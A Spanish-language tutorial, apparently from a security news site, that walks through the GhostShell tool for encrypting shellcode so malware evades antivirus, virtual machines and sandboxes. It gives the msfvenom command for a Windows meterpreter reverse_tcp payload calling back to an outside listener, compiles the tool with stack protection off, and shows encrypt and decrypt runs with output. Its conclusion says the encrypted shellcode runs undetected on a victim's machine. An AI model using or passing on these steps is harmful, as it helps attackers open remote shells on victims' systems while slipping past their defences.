INTRODUCCIÓN
El shellcode es la siguiente fase en la búsqueda de un exploit para completar un ataque. Todos los hackers requieren de un shellcode para comprometer el sistema objetivo, por lo que esta herramienta es fundamental para lograr un ataque devastador; incluso el cifrado de shellcode juega un papel importante para que el malware pueda eludir las medidas de seguridad, como antivirus, máquinas virtuales y entornos de sandbox.
Hoy lo guiaremos en la revisión de una técnica para cifrar shellcode diseñada por los investigadores del Instituto Internacional de Seguridad Cibernética (IICS) para probar malware en entornos controlados.
ENTORNO
- Sistema Operativo: Kali Linux 2019.3 64bit
- Versión de Kernel: 5.2.0
PASOS DE INSTALACIÓN
- Use el siguiente comando para clonar el proyecto
- git clone https://github.com/ReddyyZ/GhostShell
root@kali:/home/iicybersecurity# git clone https://github.com/ReddyyZ/GhostShell
Cloning into 'GhostShell'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 185 (delta 15), reused 0 (delta 0), pack-reused 158
Receiving objects: 100% (185/185), 4.49 MiB | 1.60 MiB/s, done.
Resolving deltas: 100% (91/91), done.
- Use el comando cd para ingresar al directorio ghostshell
root@kali:/home/iicybersecurity# cd GhostShell/
root@kali:/home/iicybersecurity/GhostShell#
- Usamos msfvenom para generar y generar diferentes tipos de shellcode y es una interfaz de línea de comandos
- Ahora, vamos a generar shellcode usando msfvenom. Use este comando para generar shellcode
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=80 -f c
- Generamos con éxito el shellcode
- Ahora, usemos el siguiente comando para compilar el archivo de código del proyecto de Github
- gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
- Luego, usando este comando genera el archivo encrypt_shellcode. Use el comando ls para ver el archivo
root@kali:/home/iicybersecurity/GhostShell# gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
root@kali:/home/iicybersecurity/GhostShell# ls
assets encrypt_shellcode encrypt_shellcode.c LICENSE main.c main.h README.md
- Supongamos que el siguiente es nuestro shellcode
\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1
- Ahora, podemos cifrar el shellcode usando este comando
- Formato del comando: ./ encrypt_shellcode e “key” “shellcode”
- e: cifra el shellcode
- clave: \xde\xad\xbe\xef
root@kali:/home/iicybersecurity/GhostShell# ./encrypt_shellcode e "\xde\xad\xbe\xef" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
Encrypted: \x4e\xac\xbd\xee\xc7\x48\xbd\xee\xdd\xad\x81\x18\xa4\x22\x7f
- Ahora, podemos descifrar el shellcode usando este comando
- Formato del comando: ./ encrypt_shellcode d “clave” “shellcode”
- D: descifrar el shellcode
root@kali:/home/iicybersecurity/GhostShell# ./encrypt_shellcode d "\xde\xad\xbe\xef" "\x4e\xac\xbd\xee\xc7\x48\xbd\xee\xdd\xad\x81\x18\xa4\x22\x7f"
Decrypted: \x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1
CONCLUSIÓN
Vimos cómo cifrar y descifrar el shellcode usando la clave única. Si el shellcode se ejecuta en la máquina de la víctima, no se detecta en la máquina remota.
Trabajando como arquitecto de soluciones de ciberseguridad, Alisa se enfoca en la protección de datos y la seguridad de datos empresariales. Antes de unirse a nosotros, ocupó varios puestos de investigador de ciberseguridad dentro de una variedad de empresas de seguridad cibernética. También tiene experiencia en diferentes industrias como finanzas, salud médica y reconocimiento facial.
Envía tips de noticias a info@noticiasseguridad.com o www.instagram.com/iicsorg/
También puedes encontrarnos en Telegram www.t.me/noticiasciberseguridad